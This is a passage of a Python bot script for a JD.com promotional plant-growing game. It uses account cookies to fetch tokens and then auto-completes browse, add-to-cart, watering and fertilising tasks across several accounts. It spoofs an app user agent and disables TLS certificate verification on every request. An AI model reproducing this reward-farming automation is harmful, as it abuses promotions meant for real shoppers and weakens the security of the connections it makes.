"Authorization": 'Bearer undefined', 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/logined_jd/', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Origin": "https://xinruimz-isv.isvjcloud.com", "Content-Type": "application/json;charset=utf-8", } data = '{"token":"' + f"{access_token}" + r'","source":"01"}' # print(data) response = requests.post (url=url, verify=False, headers=headers, data=data) result = response.json () print (result) access_token = result['access_token'] access_token = r"Bearer " + access_token # print(access_token) return access_token except Exception as e: msg ("账号【{0}】获取Authorization失败，cookie过期".format (account)) # 获取已种植的信息 def get_planted_info(cookie, sid, account): name_list = [] planted_id_list = [] position_list = [] shop_id_list = [] url = 'https://xinruimz-isv.isvjcloud.com/papi/get_home_info' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' } response = requests.get (url=url, verify=False, headers=headers) result = response.json () # print(result) planted_list = result['plant_info'] # print(planted_list) for i in range (len (planted_list)): try: name = result['plant_info'][f'{i + 1}']['data']['name'] planted_id = result['plant_info'][f'{i + 1}']['data']['id'] position = result['plant_info'][f'{i + 1}']['data']['position'] shop_id = result['plant_info'][f'{i + 1}']['data']['shop_id'] # print(name,planted_id,position,shop_id) name_list.append (name) planted_id_list.append (planted_id) position_list.append (position) shop_id_list.append (shop_id) print (f"账号{account}种植的种子为", name, "planted_id:", planted_id, ",shop_id:", shop_id) except Exception as e: pass return name_list, position_list, shop_id_list, planted_id_list # 领取每日水滴 def get_water(cookie, position, sid, account): try: j = 0 url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_water' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } for i in position: data = r'{"position":' + f"{i}" + r'}' response = requests.post (url=url, verify=False, headers=headers, data=data) # print(response.status_code) if response.status_code == 204: j += 1 total = j * 10 if response.status_code == 204: msg ("账号【{0}】成功领取每日水滴{1}".format (account, total)) except Exception as e: msg ("账号【{0}】领取每日水滴失败，可能是cookie过期".format (account)) # 领取每日肥料 def get_fertilizer(cookie, shop_id, account): try: j = 0 url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_fertilizer' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } for i in shop_id: data = r'{"shop_id":' + f"{i}" + r'}' response = requests.post (url=url, verify=False, headers=headers, data=data) if response.status_code == 204: j += 1 total = j * 10 if response.status_code == 204: msg ("账号【{0}】成功领取每日肥料{1}".format (account, total)) except Exception as e: msg ("账号【{0}】领取每日肥料失败，可能是cookie过期".format (account)) # 获取任务信息 def get_task(cookie, account): try: taskName_list = [] taskId_list = [] taskName_list2 = [] taskId_list2 = [] taskName_list3 = [] taskId_list3 = [] url = 'https://xinruimz-isv.isvjcloud.com/papi/water_task_info' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) result = response.json () # print(result) task_list = result['shops'] task_list2 = result['meetingplaces'] task_list3 = result['prodcuts'] # 浏览加购 # print(task_list) for i in range (len (task_list)): try: taskName = task_list[i]['name'] taskId = task_list[i]['id'] taskId_list.append (taskId) taskName_list.append (taskName) except Exception as e: print (e) for i in range (len (task_list2)): try: taskName2 = task_list2[i]['name'] taskId2 = task_list2[i]['id'] taskId_list2.append (taskId2) taskName_list2.append (taskName2) except Exception as e: print (e) for i in range (len (task_list3)): try: taskName3 = task_list3[i]['name'] taskId3 = task_list3[i]['id'] taskId_list3.append (taskId3) taskName_list3.append (taskName3) except Exception as e: print (e) # print(taskName_list,taskId_list,taskName_list2,taskId_list2,taskName_list3,taskId_list3) return taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 except Exception as e: print (e) message = result['message'] if "非法店铺" in message: msg ("【账号{0}】种子过期，请重新种植".format (account)) # 获取任务信息 def get_fertilizer_task(cookie, shop_id, account): try: # taskName_list = [] # taskId_list = [] taskName_list2 = [] taskId_list2 = [] taskName_list3 = [] taskId_list3 = [] taskName_list4 = [] taskId_list4 = [] url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_task_info?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) result = response.json () # print(result) # task_list = result['shops'] task_list2 = result['meetingplaces'] task_list3 = result['prodcuts'] # 浏览加购 task_list4 = result['live'] # 浏览直播 # print(task_list) # for i in range (len (task_list)): # try: # taskName = task_list[i]['name'] # taskId = task_list[i]['id'] # taskId_list.append(taskId) # taskName_list.append(taskName) # except Exception as e: # print(e) for i in range (len (task_list2)): try: taskName2 = task_list2[i]['name'] taskId2 = task_list2[i]['id'] taskId_list2.append (taskId2) taskName_list2.append (taskName2) except Exception as e: print (e) for i in range (len (task_list3)): try: taskName3 = task_list3[i]['name'] taskId3 = task_list3[i]['id'] taskId_list3.append (taskId3) taskName_list3.append (taskName3) except Exception as e: print (e) for i in range (len (task_list4)): try: taskName4 = task_list4[i]['name'] taskId4 = task_list4[i]['id'] taskId_list4.append (taskId4) taskName_list4.append (taskName4) except Exception as e: print (e) # print(taskName_list,taskId_list,taskName_list2,taskId_list2,taskName_list3,taskId_list3) return taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 except Exception as e: print (e) message = result['message'] if "非法店铺" in message: msg ("【账号{0}】种子过期，请重新种植".format (account)) # 做任务1 def do_task1(cookie, taskName, taskId, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/water_shop_view?shop_id={taskId}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) msg ("账号【{0}】执行浏览任务【{1}】成功，获取【{2}】水滴".format (account, taskName, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 做浏览任务 def do_task2(cookie, taskName, taskId, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/water_meetingplace_view?meetingplace_id={taskId}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) msg ("账号【{0}】执行浏览任务【{1}】成功，获取【{2}】水滴".format (account, taskName, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 浏览加购 def do_task3(cookie, taskName, taskId, sid, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/water_product_view?product_id={taskId}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览加购【{1}】等待10秒".format (account, taskName)) msg ("账号【{0}】执行浏览加购【{1}】成功，获取【{2}】水滴".format (account, taskName, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 施肥中的任务-浏览关注 def do_fertilizer_task(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_shop_view?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } while True: response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行【浏览关注】等待10秒".format (account)) msg ("账号【{0}】执行【浏览关注】任务成功，获取【{1}】肥料".format (account, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 施肥中的任务-浏览 def do_fertilizer_task2(cookie, name, meetingplace_id, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_meetingplace_view?meetingplace_id={meetingplace_id}&shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览关注{1}等待10秒".format (account, name)) msg ("账号【{0}】执行浏览关注{1}任务成功，获取【{2}】肥料".format (account, name, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 施肥中的任务-加购 def do_fertilizer_task3(cookie, name, product_id, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_product_view?product_id={product_id}&shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } while True: response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览并加购{1}等待10秒".format (account, name)) msg ("账号【{0}】执行浏览并加购{1}任务成功，获取【{2}】肥料".format (account, name, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 施肥中的任务-观看其他小样 def do_fertilizer_task4(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_sample_view?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行【观看其他小样】等待10秒".format (account)) msg ("账号【{0}】执行【观看其他小样】任务成功，获取【{1}】肥料".format (account, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 施肥中的任务-浏览化妆馆 def do_fertilizer_task5(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_chanel_view?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行【浏览化妆馆】等待10秒".format (account)) msg ("账号【{0}】执行【浏览化妆馆】任务成功，获取【{1}】肥料".format (account, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) # 施肥中的任务-美妆币兑换，每天5次 def do_fertilizer_task6(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_exchange?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', # "Content-Type": "application/json;charset=utf-8", } for i in range (5): response = requests.get (url=url, verify=False, headers=headers) # data中有汉字，需要encode为utf-8 result = response.json () # print(result) score = result['inc'] print ("账号【{0}】【shop_id:{1}】正在【兑换肥料】等待10秒".format (account, shop_id)) msg ("账号【{0}】【shop_id:{2}】执行【兑换肥料】任务成功，获取【{1}】肥料".format (account, score, shop_id)) time.sleep (10) except Exception as e: print (e) msg ("账号【{0}】【shop_id:{1}】肥料兑换已达上限".format (account, shop_id)) time.sleep (1) # 浇水 def watering(cookie, plant_id, sid, account): try: url = 'https://xinruimz-isv.isvjcloud.com/papi/watering' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } data = r'{"plant_id":' + f"{plant_id}" + r'}' while True: response = requests.post (url=url, verify=False, headers=headers, data=data.encode ()) # data中有汉字，需要encode为utf-8 result = response.json () # print(result) level = result['level'] # 当前等级 complete_level = result['complete_level'] # 完成等级 msg ("【账号{0}】【plant_id:{3}】成功浇水10g，当前等级{1}，种子成熟等级为{2}".format (account, level, complete_level, plant_id)) time.sleep (5) except Exception as e: print(e) # pass # 施肥 def fertilization(cookie, plant_id, shop_id, account): url = 'https://xinruimz-isv.isvjcloud.com/papi/fertilization' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'User-Agent': userAgent (), # 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } data = r'{"plant_id":' + f"{plant_id}" + r'}' i = 1 while True: try: response = requests.post (url=url, verify=False, headers=headers, data=data) # data中有汉字，需要encode为utf-8 result = response.json () # print(result) level = result['level'] # 当前等级 complete_level = result['complete_level'] # 完成等级 printT ("【账号{0}】【plant_id:{3}】成功施肥10g，当前等级{1}，种子成熟等级为{2}".format (account, level, complete_level, plant_id)) time.sleep (5) i += 1 except Exception as e: # print(e) message = result['message'] total = i * 10 if "肥料不足" in message: msg("【账号{0}】【plant_id:{1}】本次一共施肥{2}g".format (account, plant_id,total)) printT ("【账号{0}】【plant_id:{1}】肥料不足10g".format (account, plant_id)) break def start(): global cookie, cookies print (f"\n【准备开始...】\n") nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') if cookie != '': account = setName (cookie) access_token = get_ck (cookie, sid_ck, account) cookie = get_Authorization (access_token, account) name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie,account) get_water (cookie, position_list, sid, account) get_fertilizer (cookie, shop_id_list, account) for i, j in zip (taskName_list, taskId_list): do_task1 (cookie, i, j, account) for i, j in zip (taskName_list2, taskId_list2): do_task2 (cookie, i, j, account) for i, j in zip (taskName_list3, taskId_list3): do_task3 (cookie, i, j, sid, account) flag = 0 for i in shop_id_list: do_fertilizer_task (cookie, i, account) # 浏览关注 for k in shop_id_list: taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task (cookie, k, account) do_fertilizer_task4 (cookie, k, account) do_fertilizer_task5 (cookie, k, account) if beauty_plant_exchange == 'true': do_fertilizer_task6 (cookie, k, account) for i, j in zip (taskName_list2, taskId_list2): print (i, j, k) do_fertilizer_task2 (cookie, i, j, k, account) # 浏览 for i, j in zip (taskName_list3, taskId_list3): print (i, j, k) do_fertilizer_task3 (cookie, i, j, k, account) # 加购 if choose_plant_id == 'false': for i in planted_id_list: watering (cookie, i, sid, account) fertilization (cookie, i, k, account) else: fertilization (cookie, planted_id_list[flag], k, account) watering (cookie, planted_id, sid, account) flag += 1 elif cookies != '': for cookie, planted_id in zip (cookies, planted_ids): try: account = setName (cookie) access_token = get_ck (cookie, sid_ck, account) cookie = get_Authorization (access_token, account) name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) except Exception as e: pass for cookie, planted_id in zip (cookies, planted_ids): try: account = setName (cookie) access_token = get_ck (cookie, sid_ck, account) cookie = get_Authorization (access_token, account) name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie, account) get_water (cookie, position_list, sid, account) get_fertilizer (cookie, shop_id_list, account) for i, j in zip (taskName_list, taskId_list): do_task1 (cookie, i, j, account) for i, j in zip (taskName_list2, taskId_list2): do_task2 (cookie, i, j, account) for i, j in zip (taskName_list3, taskId_list3): do_task3 (cookie, i, j, sid, account) flag = 0 for i in shop_id_list: do_fertilizer_task (cookie, i, account) # 浏览关注 for k in shop_id_list: taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task ( cookie, k, account) do_fertilizer_task4 (cookie, k, account) do_fertilizer_task5 (cookie, k, account) if beauty_plant_exchange == 'true': do_fertilizer_task6 (cookie, k, account) for i, j in zip (taskName_list2, taskId_list2): print (i, j, k) do_fertilizer_task2 (cookie, i, j, 